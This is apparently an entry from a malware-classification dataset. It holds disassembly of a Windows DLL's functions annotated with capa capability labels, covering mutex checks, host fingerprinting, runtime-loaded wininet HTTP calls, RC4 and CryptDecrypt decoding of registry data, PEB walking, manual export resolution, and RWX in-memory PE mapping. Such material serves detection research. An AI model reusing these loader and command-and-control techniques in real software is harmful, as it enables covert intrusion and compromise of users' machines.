joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001250
Capabilities:
Check mutex on windows

Disassembly:
sub rsp, 0xa8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea r8, [0x1800082f8]
lea rcx, [rsp + 0x20]
mov r9d, eax
mov edx, 0x40
call entry0
lea r8, [rsp + 0x20]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [0x18000c2d0], rax
test rax, rax
je 0x1800012bc
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x1800012af
mov eax, 1
add rsp, 0xa8
ret
mov rcx, qword [0x18000c2d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0xa8
ret

Function at 0x180001380
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push rbx
sub rsp, 0xb0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea r8, [0x180008300]
lea rcx, [rsp + 0x30]
mov r9d, eax
mov edx, 0x40
mov ebx, eax
call entry0
test eax, eax
jle 0x1800013c4
lea r8, [rsp + 0x30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [0x18000c2d8], rax
lea r8, [0x180008308]
lea rcx, [rsp + 0x30]
mov r9d, ebx
mov edx, 0x40
call entry0
test eax, eax
jle 0x1800013fe
xor r8d, r8d
lea r9, [rsp + 0x30]
xor ecx, ecx
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x18000c2e0], rax
jmp 0x180001405
mov rax, qword [0x18000c2e0]
mov rcx, qword [0x18000c2d8]
test rcx, rcx
je 0x1800014c9
test rax, rax
je 0x1800014c9
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0xc8], rdi
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rdi, rax
test rax, rax
je 0x18000149c
lea r8, [0x1800012d0]
mov r9, rax
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0xc0], rsi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
test rax, rax
je 0x180001487
or edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
test eax, eax
sete bl
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0xc0]
test ebx, ebx
jne 0x1800014b6
mov rcx, qword [0x18000c2d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x18000c2e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rdi, qword [rsp + 0xc8]
add rsp, 0xb0
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x18000c2e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0xb0
pop rbx
ret
Function at 0x180001580
Capabilities:
Get geographical location
Get hostname

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0x80
mov rdi, rcx
lea rdx, [rax + 0x18]
lea rcx, [rax - 0x48]
mov dword [rax + 0x18], 0x40
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x1800015e1
lea r8d, [rax + 0x40]
lea r9, str.UNKNOWN
lea rax, [rsp + 0x40]
sub r9, rax
lea rdx, [rsp + 0x40]
cmp r8d, 1
jbe 0x1800015de
movzx eax, byte [r9 + rdx]
inc rdx
dec r8d
cmp byte [r9 + rdx], 0
mov byte [rdx - 1], al
jne 0x1800015c3
mov byte [rdx], 0
cmp byte [rsp + 0x40], 0
lea rax, [rsp + 0x40]
je 0x1800015f8
nop dword [rax]
inc rax
cmp byte [rax], 0
jne 0x1800015f0
lea rcx, [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0xa0], eax
je 0x180001639
lea rdx, [rsp + 0x40]
mov r8d, eax
movsx ecx, byte [rdx]
lea eax, [rcx - 0x30]
cmp eax, 9
jbe 0x180001630
cmp ecx, 0x61
jl 0x180001625
cmp ecx, 0x7a
jle 0x180001630
lea eax, [rcx - 0x41]
cmp eax, 0x19
jbe 0x180001630
mov byte [rdx], 0x55
inc rdx
sub r8, 1
jne 0x180001610
mov ebx, 8
lea r8, [rsp + 0xa8]
mov ecx, 0x400
lea edx, [rbx + 0x52]
mov r9d, ebx
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x180001691
lea r8, [0x180008318]
lea rax, [rsp + 0xa8]
lea rcx, [rsp + 0xa8]
sub r8, rax
cmp ebx, 1
jbe 0x18000168e
movzx eax, byte [r8 + rcx]
inc rcx
dec ebx
cmp byte [r8 + rcx], 0
mov byte [rcx - 1], al
jne 0x180001675
mov byte [rcx], 0
mov eax, dword [0x18000c2ec]
lea r9, [rsp + 0x40]
lea r8, str._s__s__X_X
mov dword [rsp + 0x30], eax
mov eax, dword [0x18000c2e8]
mov edx, 0x40
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0xa8]
mov rcx, rdi
mov qword [rsp + 0x20], rax
call fcn.180001020
mov rbx, qword [rsp + 0x90]
xor ecx, ecx
test eax, eax
setg cl
mov eax, ecx
add rsp, 0x80
pop rdi
ret
Function at 0x180002290
Capabilities:
Allocate thread local storage
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov dword [0x18000c310], 0xffffffff
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x18000c314], 1
mov dword [0x18000c310], eax
cmp eax, 0xffffffff
je 0x1800022d8
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x18000c318], rax
call fcn.180002170
lea rcx, str.ntdll.dll
mov dword [0x18000c2f0], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.NtResumeThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18000c228], rax
call fcn.180006550
lea rdx, [0x180002050]
lea rcx, [0x18000c228]
xor edi, edi
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
call fcn.180006b60
xor ecx, ecx
call fcn.180006760
call fcn.180003830
call fcn.1800038d0
lea rcx, [0x18000c2f8]
call fcn.180002530
test eax, eax
je 0x180002399
lock add dword [section..data], 1
lea r8, [0x180002770]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x180002382
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180002399
lock add dword [section..data], 0xffffffff
jne 0x180002399
mov rcx, qword [0x18000c318]
call qword [sym.imp.KERNEL32.dll_SetEvent]
cmp dword [0x18000c2f0], 0x95e2844
jne 0x18000244b
call fcn.180005ce0
call fcn.1800042c0
test eax, eax
je 0x180002403
lock add dword [section..data], 1
lea r8, [0x180002f50]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x1800023ec
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180002403
lock add dword [section..data], 0xffffffff
jne 0x180002403
mov rcx, qword [0x18000c318]
call qword [sym.imp.KERNEL32.dll_SetEvent]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.1800050a0
mov rcx, qword [0x18000c118]
lea r9, [fcn.1800019b0]
mov qword [rsp + 0x20], rcx
mov r8d, 0x43a
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call fcn.1800053a0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x180002880
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0x150
mov rbx, rcx
lea rax, [0x18000c230]
mov r9, rdx
lea rcx, [rsp + 0x40]
lea r8, str.http:___s__s
mov edx, 0x104
mov qword [rsp + 0x20], rax
mov ebp, 0x53d
call fcn.180001020
lea rcx, [rsp + 0x40]
call fcn.180004490
mov rdi, rax
test rax, rax
je 0x180002a17
mov rdx, qword [rbx + 0x20]
mov r8d, dword [rbx + 0x2c]
mov qword [rsp + 0x160], rsi
lea rsi, [rbx + 0x20]
mov rcx, rax
call fcn.180004630
test eax, eax
je 0x1800029e1
cmp dword [rdi + 0x280], 0xc8
jne 0x1800029d4
mov rax, qword [rsi]
lea rcx, [rsp + 0x30]
mov rdx, rsi
mov qword [rcx], rax
mov rax, qword [rsi + 8]
mov qword [rsi], 0
mov qword [rcx + 8], rax
mov rcx, rdi
mov dword [rbx + 0x28], 0
mov dword [rbx + 0x2c], 0
call fcn.180004790
mov eax, dword [rbx + 0x2c]
cmp eax, 0x94
jb 0x1800029aa
add eax, 0xffffff6c
lea rcx, [rsp + 0x170]
xor r9d, r9d
mov dword [rsp + 0x170], eax
mov rax, qword [rsi]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbx + 0x18]
add rax, 0x94
lea r8d, [r9 + 1]
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1800029aa
mov rcx, rbx
call fcn.180005a00
test eax, eax
je 0x1800029aa
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x30]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor ebp, ebp
jmp 0x1800029d4
mov rbx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rsp + 0x30]
mov rax, qword [rcx]
mov qword [rsi], rax
mov rax, qword [rcx + 8]
mov qword [rsi + 8], rax
mov rcx, qword [rdi + 0x278]
call qword [0x18000c290]
mov rcx, qword [rdi + 0x270]
call qword [0x18000c290]
mov rcx, qword [rdi + 0x268]
call qword [0x18000c290]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0x160]
lea r11, [rsp + 0x150]
mov eax, ebp
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x180003a90
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x130
mov ebx, edx
mov rdi, rcx
lea rdx, [0x18000c120]
lea rcx, [rsp + 0x20]
mov r8d, 0x102
call fcn.1800048d0
movzx r11d, byte [rsp + 0x120]
movzx r9d, byte [rsp + 0x121]
test ebx, ebx
je 0x180003b19
mov r10, rbx
nop word [rax + rax]
movzx edx, r11b
inc rdi
inc r11b
movzx r8d, byte [rsp + rdx + 0x20]
add r9b, r8b
movzx eax, r9b
movzx ecx, byte [rsp + rax + 0x20]
mov byte [rsp + rdx + 0x20], cl
add ecx, r8d
mov byte [rsp + rax + 0x20], r8b
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x20]
xor byte [rdi - 1], cl
sub r10, 1
jne 0x180003ae0
mov rbx, qword [rsp + 0x140]
add rsp, 0x130
pop rdi
ret
Function at 0x180003b30
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
push rbp
push rsi
push rdi
sub rsp, 0xc0
xor edi, edi
mov rbx, rdx
mov rbp, rcx
mov qword [rdx + 0x10], rdi
mov dword [rdx + 8], edi
mov esi, edi
nop word [rax + rax]
lea rax, [rsp + 0xe8]
lea r9, [rsp + 0xf0]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov edx, esi
mov rcx, rbp
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0xf0], 0x40
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x180003c44
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x90
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r11, rax
test rax, rax
je 0x180003c4b
mov edx, 0x40
mov rcx, rax
cmp word [rsp + 0x40], di
je 0x180003bff
lea r8, [rsp + 0x40]
sub r8, rax
cmp edx, 1
jbe 0x180003bff
movzx eax, word [r8 + rcx]
add rcx, 2
dec edx
mov word [rcx - 2], ax
cmp word [r8 + rcx], di
jne 0x180003be4
mov word [rcx], di
mov eax, dword [rsp + 0xe8]
mov ecx, 1
mov dword [r11 + 0x80], eax
mov rax, qword [rbx + 0x10]
mov edx, dword [r11 + 0x80]
mov qword [r11 + 0x88], rax
mov qword [rbx + 0x10], r11
mov eax, edx
cmp edx, 0x7f
jbe 0x180003c3c
shr eax, 7
inc ecx
cmp eax, 0x7f
ja 0x180003c32
lea eax, [rdx + rcx]
add dword [rbx + 8], eax
jmp 0x180003c4b
cmp eax, 0x103
je 0x180003c5a
inc esi
cmp dword [rbx + 8], 0x80000
jb 0x180003b60
cmp qword [rbx + 0x10], rdi
mov rbx, qword [rsp + 0xe0]
setne dil
mov eax, edi
add rsp, 0xc0
pop rdi
pop rsi
pop rbp
ret

Function at 0x180003c80
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rdi
push r12
push r13
push r14
sub rsp, 0x30
mov rbx, qword [rdx + 0x10]
xor edi, edi
mov r13d, r9d
mov r12, r8
mov r14, rcx
test rbx, rbx
je 0x180003d5c
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x70], rsi
nop
mov eax, r13d
mov r9d, edi
sub eax, edi
add r9, r12
mov dword [rsp + 0x68], eax
mov ecx, dword [rbx + 0x80]
mov rdx, r9
cmp ecx, 0x7f
jbe 0x180003ce3
nop dword [rax]
movzx eax, cl
shr ecx, 7
inc rdx
or al, 0x80
mov byte [rdx - 1], al
cmp ecx, 0x7f
ja 0x180003cd0
inc rdx
and cl, 0x7f
lea rax, [rsp + 0x68]
mov byte [rdx - 1], cl
mov esi, edx
mov qword [rsp + 0x28], rax
sub esi, r9d
sub r9d, edx
xor r8d, r8d
add dword [rsp + 0x68], r9d
add esi, edi
xor r9d, r9d
mov ebp, esi
mov rdx, rbx
mov rcx, r14
add rbp, r12
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180003d42
mov edx, dword [rsp + 0x68]
cmp dword [rbx + 0x80], edx
jne 0x180003d42
mov rcx, rbp
call fcn.180003a90
mov r11d, dword [rsp + 0x68]
lea edi, [rsi + r11]
mov rbx, qword [rbx + 0x88]
test rbx, rbx
jne 0x180003cb0
mov rsi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x60]
mov eax, edi
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rbx
ret
Function at 0x1800042c0
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x28
lea rcx, str.wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x18000c2a8], rax
test rax, rax
je 0x18000447c
lea rdx, str.HttpOpenRequestA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x18000c2a8]
lea rdx, str.HttpSendRequestA
mov qword [0x18000c2a0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x18000c2a8]
lea rdx, str.HttpQueryInfoA
mov qword [0x18000c288], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x18000c2a8]
lea rdx, str.InternetCloseHandle
mov qword [0x18000c280], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x18000c2a8]
lea rdx, str.InternetConnectA
mov qword [0x18000c290], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x18000c2a8]
lea rdx, str.InternetCrackUrlA
mov qword [0x18000c298], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x18000c2a8]
lea rdx, str.InternetOpenA
mov qword [0x18000c2b0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x18000c2a8]
lea rdx, str.InternetQueryOptionW
mov qword [0x18000c278], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x18000c2a8]
lea rdx, str.InternetQueryDataAvailable
mov qword [0x18000c2c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x18000c2a8]
lea rdx, str.InternetReadFile
mov qword [0x18000c270], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x18000c2a8]
lea rdx, str.InternetSetOptionW
mov qword [0x18000c2b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x18000c2a0], 0
mov qword [0x18000c2c8], rax
je 0x18000446f
cmp qword [0x18000c280], 0
je 0x18000446f
cmp qword [0x18000c290], 0
je 0x18000446f
cmp qword [0x18000c298], 0
je 0x18000446f
cmp qword [0x18000c2b0], 0
je 0x18000446f
cmp qword [0x18000c278], 0
je 0x18000446f
cmp qword [0x18000c2c0], 0
je 0x18000446f
cmp qword [0x18000c270], 0
je 0x18000446f
cmp qword [0x18000c2b8], 0
je 0x18000446f
test rax, rax
je 0x18000446f
mov eax, 1
add rsp, 0x28
ret
mov rcx, qword [0x18000c2a8]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
add rsp, 0x28
ret
Function at 0x180004490
Capabilities:
Reference http user-agent string

Disassembly:
push rbx
push rdi
push r12
sub rsp, 0x40
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov r8d, 0x288
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x18000461b
lea rcx, [rax + 0x100]
lea r9, [rax + 0x200]
xor r8d, r8d
mov qword [rax + 0x248], rcx
xor edx, edx
mov rcx, rdi
mov dword [r9], 0x68
mov qword [rax + 0x218], rax
mov dword [rax + 0x220], 0x100
mov dword [rax + 0x250], 0x100
call qword [0x18000c2b0]
test eax, eax
je 0x180004607
xor r12d, r12d
lea r8, [rsp + 0x68]
xor ecx, ecx
lea r9d, [r12 + 8]
lea edx, [r12 + 0x32]
mov dword [rsp + 0x68], 1
mov dword [rsp + 0x6c], r12d
call qword [0x18000c2c8]
lea rcx, str.Mozilla_5.0__compatible__MSIE_9.0__Windows_NT_6.1__Trident_5.0_
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r12d
call qword [0x18000c278]
mov qword [rbx + 0x268], rax
test rax, rax
je 0x180004607
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x70], rsi
lea rdi, [0x18000c008]
lea rsi, [0x18000c00c]
lea ebp, [r12 + 3]
nop dword [rax]
mov edx, dword [rdi]
mov rcx, qword [rbx + 0x268]
mov r9d, 4
mov r8, rsi
call qword [0x18000c2c8]
add rsi, 8
add rdi, 8
sub rbp, 1
jne 0x180004580
movzx r8d, word [rbx + 0x224]
mov rcx, qword [rbx + 0x268]
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
xor r9d, r9d
mov rdx, rbx
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r12
call qword [0x18000c298]
mov rsi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x60]
mov qword [rbx + 0x270], rax
test rax, rax
je 0x1800045fa
mov rax, rbx
add rsp, 0x40
pop r12
pop rdi
pop rbx
ret
mov rcx, qword [rbx + 0x268]
call qword [0x18000c290]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
add rsp, 0x40
pop r12
pop rdi
pop rbx
ret

Function at 0x180004a00
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov r9, qword [rcx + 0x10]
test r9, r9
je 0x180004ad0
cmp qword [r9 + 0x30], 0
je 0x180004ad0
lea rbx, [0x180008668]
movzx eax, word [r9 + 0x58]
mov rcx, qword [r9 + 0x60]
shr eax, 1
test rcx, rcx
je 0x180004ac2
cmp eax, 0xffffffff
jne 0x180004a63
cmp word [rcx], 0
mov rax, rcx
je 0x180004a5d
add rax, 2
cmp word [rax], 0
jne 0x180004a53
sub rax, rcx
sar rax, 1
mov rdx, rbx
add rdx, 2
cmp word [rdx], 0
jne 0x180004a66
sub rdx, rbx
sar rdx, 1
cmp eax, edx
jne 0x180004ac2
cdqe
lea r10, [rcx + rax*2]
cmp rcx, r10
jae 0x180004ad8
mov r11, rbx
sub r11, rcx
nop dword [rax + rax]
movzx edx, word [rcx]
lea eax, [rdx - 0x41]
cmp eax, 0x19
ja 0x180004a9e
add edx, 0x20
movzx r8d, word [r11 + rcx]
lea eax, [r8 - 0x41]
cmp eax, 0x19
ja 0x180004ab0
add r8d, 0x20
sub edx, r8d
jne 0x180004ac2
add rcx, 2
cmp rcx, r10
jb 0x180004a90
test edx, edx
je 0x180004ad8
mov r9, qword [r9]
cmp qword [r9 + 0x30], 0
jne 0x180004a31
xor eax, eax
mov rbx, qword [rsp + 8]
ret
mov rax, qword [r9 + 0x30]
mov rbx, qword [rsp + 8]
ret
Function at 0x180004af0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbx
push rsi
sub rsp, 8
movsxd rax, dword [rcx + 0x3c]
mov rsi, rdx
mov rbx, rcx
mov r8d, dword [rax + rcx + 0x88]
test r8d, r8d
je 0x180004c36
cmp dword [rax + rcx + 0x8c], 0
je 0x180004c36
mov qword [rsp + 0x20], rbp
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], r13
mov r13d, dword [rcx + r8 + 0x18]
lea r12, [rcx + r8]
xor r11d, r11d
mov qword [rsp], r14
test r13d, r13d
je 0x180004bf5
mov r14d, dword [r12 + 0x20]
mov rbp, r11
lea rdi, [r14 + rcx]
nop dword [rax]
mov edx, dword [rdi]
add rdx, rbx
je 0x180004be1
test rsi, rsi
je 0x180004be1
cmp byte [rdx], 0
mov rax, rdx
je 0x180004b7c
inc rax
cmp byte [rax], 0
jne 0x180004b74
sub eax, edx
cmp byte [rsi], 0
mov rcx, rsi
je 0x180004b8e
inc rcx
cmp byte [rcx], 0
jne 0x180004b86
sub ecx, esi
cmp eax, ecx
jne 0x180004be1
movsxd r9, eax
add r9, rdx
cmp rdx, r9
jae 0x180004c16
lea rax, [r14 + rbp]
mov r10, rsi
mov ecx, dword [rax + rbx]
sub r10, rcx
sub r10, rbx
nop
movsx ecx, byte [rdx]
lea eax, [rcx - 0x41]
cmp eax, 0x19
ja 0x180004bbe
add ecx, 0x20
movsx r8d, byte [r10 + rdx]
lea eax, [r8 - 0x41]
cmp eax, 0x19
ja 0x180004bd0
add r8d, 0x20
sub ecx, r8d
jne 0x180004be1
inc rdx
cmp rdx, r9
jb 0x180004bb0
test ecx, ecx
je 0x180004c16
inc r11d
add rbp, 4
add rdi, 4
cmp r11d, r13d
jb 0x180004b60
xor eax, eax
mov r13, qword [rsp + 0x38]
mov r12, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x20]
mov r14, qword [rsp]
add rsp, 8
pop rsi
pop rbx
ret
mov eax, dword [r12 + 0x24]
mov ecx, r11d
add rax, rbx
movzx edx, word [rax + rcx*2]
mov eax, dword [r12 + 0x1c]
lea rcx, [rbx + rax]
mov eax, dword [rcx + rdx*4]
add rax, rbx
jmp 0x180004bf7
xor eax, eax
add rsp, 8
pop rsi
pop rbx
ret

Function at 0x180004f10
Capabilities:
Allocate or change rwx memory
Parse pe header

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
cmp edx, 0x40
jb 0x180004fcd
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180004fcd
movsxd rax, dword [rbx + 0x3c]
mov ecx, edx
add rax, 0xf8
cmp rax, rcx
jae 0x180004fcd
mov qword [rsp + 0x38], rdi
movsxd rdi, dword [rbx + 0x3c]
lea rax, [rdi + 0xf8]
cmp rax, rcx
jae 0x180004fc0
cmp dword [rdi + rbx], 0x4550
jne 0x180004fc0
mov eax, 0x10b
cmp word [rdi + rbx + 0x18], ax
jne 0x180004fc0
mov edx, dword [rdi + rbx + 0x50]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
mov qword [rsp + 0x30], rsi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x180004fb0
mov r8d, dword [rdi + rbx + 0x54]
mov rdx, rbx
mov rcx, rax
call fcn.1800048d0
mov rdx, rbx
mov rcx, rsi
call fcn.180004e70
mov rax, rsi
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret
xor eax, eax
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x180004fe0
Capabilities:
Allocate or change rwx memory
Parse pe header

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
cmp edx, 0x40
jb 0x18000508a
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18000508a
mov qword [rsp + 0x38], rdi
movsxd rdi, dword [rcx + 0x3c]
mov eax, edx
lea r8, [rdi + 0x108]
cmp r8, rax
jae 0x18000507d
cmp dword [rdi + rcx], 0x4550
jne 0x18000507d
mov eax, 0x20b
cmp word [rdi + rcx + 0x18], ax
jne 0x18000507d
mov edx, dword [rdi + rcx + 0x50]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
mov qword [rsp + 0x30], rsi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x18000506d
mov r8d, dword [rdi + rbx + 0x54]
mov rdx, rbx
mov rcx, rax
call fcn.1800048d0
mov rdx, rbx
mov rcx, rsi
call fcn.180004e70
mov rax, rsi
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret
xor eax, eax
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x1800053a0
Capabilities:
Compare security identifiers

Disassembly:
push r12
push r15
sub rsp, 0x38
mov ecx, 5
mov r12, rdx
call fcn.180005e80
mov r15, rax
test rax, rax
je 0x1800054a2
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r14, qword [rsp + 0x70]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbp
mov r13d, eax
mov rdi, r15
mov qword [rsp + 0x60], rsi
mov r8d, dword [rdi + 0x50]
cmp r8d, r13d
je 0x180005465
cmp qword [rdi + 0x40], 0
je 0x180005465
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x180005465
test r12, r12
je 0x180005451
mov rcx, rax
call fcn.1800050a0
mov rbp, rax
test rax, rax
je 0x18000545c
mov rdx, qword [rax]
mov rcx, qword [r12]
call qword [sym.imp.ADVAPI32.dll_EqualSid]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
je 0x18000545c
mov rdx, r14
mov rcx, rsi
call fcn.1800019b0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rdi]
test eax, eax
je 0x180005470
add rdi, rax
jmp 0x1800053f0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r14, qword [rsp + 0x20]
mov r13, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
add rsp, 0x38
pop r15
pop r12
ret